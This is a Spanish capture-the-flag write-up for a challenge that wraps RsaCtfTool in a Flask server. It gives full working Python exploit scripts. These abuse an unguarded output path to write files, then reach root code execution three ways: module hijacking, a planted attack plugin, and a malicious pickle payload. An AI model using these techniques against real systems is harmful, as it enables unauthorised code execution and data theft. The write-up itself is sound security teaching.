Rsactftool
6 minutos de lectura
Se nos proporciona un servidor en Flask que esencialmente nos permite ejecutar RsaCtfTool
:
import subprocess, os
from flask import Flask, request, render_template, jsonify
app = Flask(__name__)
PARAMS_WHITELIST = ['--attack', '-n', '-e','-d','-p','-q', '--private', '--decrypt', '--verbosity', '--cleanup', '--isroca','--output', '--isconspicuous', '--check_publickey', '--timeout']
def sanitize_path(path):
return os.path.abspath(os.path.normpath(os.path.join("/", path)))
@app.route('/')
def index():
return render_template('index.html')
@app.route('/exec', methods=['POST'])
def exec_tool():
data = request.json
params = data.get('params', [])
if not params:
return jsonify({'error': 'No parameters provided'})
results = []
params_list = []
try:
for param in params:
param_name = param.get('param')
content = param.get('content')
if not param_name or not content:
return '[ERROR]: Missing parameter or content'
elif param_name not in PARAMS_WHITELIST:
return '[ERROR]: Invalid parameter'
params_list.append(param_name)
if param_name == '--output':
content = sanitize_path(content)
if os.path.exists(content) or not content.startswith('/opt'):
content = f"/opt/outputs/out_{os.urandom(8).hex()}.txt"
elif param_name == '--attack':
content = content.lower()
else:
content = str(int(content))
params_list.append(content)
except Exception as e:
return str(e)
try:
cmd = ['python3','/opt/RsaCtfTool/RsaCtfTool.py'] + params_list
print(cmd)
result = subprocess.check_output(cmd,cwd="/opt/RsaCtfTool", text=True, stderr=subprocess.STDOUT)
return result
except Exception as e:
return str(e)
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000)
Análisis del código fuente
Básicamente, podemos usar /exec
para ejecutar RsaCtfTool
usando los siguientes parámetros permitidos:
-n
,-e
,-c
,-p
,-q
--decrypt
--attack
--output
--verbosity
--cleanup
--isroca
--output
--isconspicuous
--check_publickey
--timeout
Sin embargo, las opciones relevantes son solo de la 1 a la 4, incluidas.
El servidor verificará estos parámetros y eventualmente ejecutará la herramienta:
cmd = ['python3','/opt/RsaCtfTool/RsaCtfTool.py'] + params_list
print(cmd)
result = subprocess.check_output(cmd,cwd="/opt/RsaCtfTool", text=True, stderr=subprocess.STDOUT)
return result
Obsérvese que el directorio de trabajo actual está establecido en /opt/RsaCtfTool
.
Además, nótese que el parámetro --output
se verifica por separado:
if param_name == '--output':
content = sanitize_path(content)
if os.path.exists(content) or not content.startswith('/opt'):
content = f"/opt/outputs/out_{os.urandom(8).hex()}.txt"
Donde sanitize_path
es esta función:
def sanitize_path(path):
return os.path.abspath(os.path.normpath(os.path.join("/", path)))
Esto nos permite crear y escribir archivos dentro de /opt
, pero no modificar archivos existentes. Entonces, podemos obtener una primitiva de escritura de archivos.
Para que esto funcione, necesitamos cifrar el contenido con RSA y luego decirle a RsaCtfTool
para que lo descifre y lo guarde en la ruta que deseamos. Como podemos proporcionar la clave privada de RSA, no hay problema.
Solución
La siguiente función nos ayudará a escribir archivos en el servidor:
#!/usr/bin/env python3
import requests
import sys
from Crypto.Util.number import getPrime
URL = 'http://127.0.0.1:5000' if len(sys.argv) == 1 else sys.argv[1]
p, q = getPrime(1024), getPrime(1024)
n = p * q
e = 65537
def write_file(filename: str, content: bytes):
assert len(content) <= 256
m = int(content.ljust(256, b'\n').hex(), 16)
c = pow(m, e, n)
requests.post(f'{URL}/exec', json={
'params': [
{'param': '-n', 'content': n},
{'param': '-p', 'content': p},
{'param': '--decrypt', 'content': c},
{'param': '--output', 'content': filename},
]
})
Necesitamos rellenar el mensaje hasta que tenga 256 bytes (2048 bits ya que estamos usando RSA-2048) con caracteres de salto de línea o espacios en blanco porque, si no, RsaCtfTool
pondrá bytes nulos, y no queremos que eso suceda, para evitar cualquier problema.
En realidad, hay varios enfoques para resolver este desafío. Pasaremos de lo más fácil a lo más difícil.
La vía de library hijacking en Python
Recordemos que podemos escribir archivos nuevos en /opt
, por lo que podemos escribir en /opt/RsaCtfTool
. No hay problemas de permiso porque el servidor se está ejecutando como root
según el Dockerfile
.
Por lo tanto, si echamos un vistazo a cómo se ve RsaCtfTool.py
, vemos una serie de sentencias import
al principio, como de costumbre:
La manera en la que funcionan las sentencias import
en Python es mediante la variable de entorno PYTHONPATH
. Si no está configurada, podemos ver la ruta con sys.path
:
/app # python3 -q
>>> import sys
>>> sys.path
['', '/usr/local/lib/python313.zip', '/usr/local/lib/python3.13', '/usr/local/lib/python3.13/lib-dynload', '/usr/local/lib/python3.13/site-packages']
El primer elemento de la lista es ''
, que significa que import asdf
primero comprobará si hay un archivo asdf.py
en el directorio de trabajo actual. Si no, continuará probando otras ubicaciones en la lista.
Como resultado, podemos escribir un archivo argparse.py
o urllib3.py
(o cualquier otra librería que no sea built-in) y ejecutar código Python arbitrario. Por lo tanto, podemos usar el siguiente código en Python para copiar el archivo de la flag en el directorio static
del servidor Flask, para que podamos leerla después:
write_file(
'/opt/RsaCtfTool/urllib3.py',
b'import os; os.system("cat /*.* > /app/static/flag.txt")'
)
requests.post(f'{URL}/exec', json={
'params': [
{'param': '-n', 'content': n},
]
})
print(requests.get(f'{URL}/static/flag.txt').text)
Obsérvese que necesitamos ejecutar RsaCtfTool.py
nuevamente para activar nuestra payload. El comando fallará, pero no nos importa porque el payload se ejecutará bien.
La vía del nuevo ataque
Aquí abusaremos de la manera en la que los ataques se cargan en RsaCtfTool
. Disponen de un archivo de Python para cada ataque en el directorio attacks
y los cargan dinámicamente al inicio:
Por lo tanto, podemos crear un ataque exploit.py
ahí mismo, para que se cargue. Luego podemos usar --attack exploit
para cargar nuestro ataque controlado, lo que nos permitirá obtener ejecución de código arbitraria en Python.
Podemos echar un vistazo a un breve ejemplo:
Entonces, podemos entender que cada ataque es solo una clase de Python llamada Attack
que hereda de AbstractAttack
y tiene métodos attack(self, publickey, cipher=[], progress=True)
y test(self)
. Como resultado, lo siguiente también funcionará para obtener la flag:
write_file(
'/opt/RsaCtfTool/attacks/single_key/exploit.py',
b'''
from attacks.abstract_attack import AbstractAttack
class Attack(AbstractAttack):
\tdef __init__(self, t=60):
\t\tsuper().__init__(t)
\tdef attack(self, k, c=[], p=True):
\t\timport os; os.system("cat /*.* > /app/static/flag.txt")
\tdef test(self):
\t\tpass
'''[1:])
requests.post(f'{URL}/exec', json={
'params': [
{'param': '-n', 'content': n},
{'param': '--attack', 'content': 'exploit'},
]
})
print(requests.get(f'{URL}/static/flag.txt').text)
Hay que tener en cuenta que necesitamos mantener la clase de Python lo suficientemente corta como para que quepa en 256 bytes.
La vía pickle
Hay más formas de obtener la ejecución de código en Python. Si el programa deserializa un payload de pickle
que puede ser controlado por el usuario, entonces puede ser vulnerable.
De hecho, RsaCtfTool
utiliza pickle
:
El ataque rapid7primes
toma un conjunto de números primos almacenados e intenta factorizar la clave pública. Estos números primos se almacenan en el directorio data
como payloads de pickle
comprimidos:
Y no hay limitación en el pickle
:
Entonces podemos obtener ejecución de código fácilmente con el siguiente payload:
/app # python3 -q
>>> import pickle
>>>
>>> class Bad:
... def __reduce__(self):
... return exec, ('import os; os.system("whoami")', )
...
>>> pickle.loads(pickle.dumps(Bad()))
root
Escribamos el siguiente código para explotar el servidor:
import bz2
import pickle
class Bad:
def __reduce__(self):
return exec, ('import os; os.system("cat /*.* > /app/static/flag.txt")', )
write_file(
'/opt/RsaCtfTool/data/exploit.pkl.bz2',
bz2.compress(pickle.dumps(Bad()))
)
requests.post(f'{URL}/exec', json={
'params': [
{'param': '-n', 'content': n},
{'param': '--attack', 'content': 'rapid7primes'},
]
})
print(requests.get(f'{URL}/static/flag.txt').text)
Flag
Con cualquiera de estos tres enfoques, podemos obtener la flag:
$ python3 solve.py http://hackon-9671f040a28f-rsactftool-1.chals.io
HackOn{I_H0p3_Y0u_s0lv3d_1t_w1th_th3_1nt3nd3d_s0lut10n_4nd_rem3mB3r_r34d_th3_t00ls_b3f0r3_3x3cut1ng_tH3m}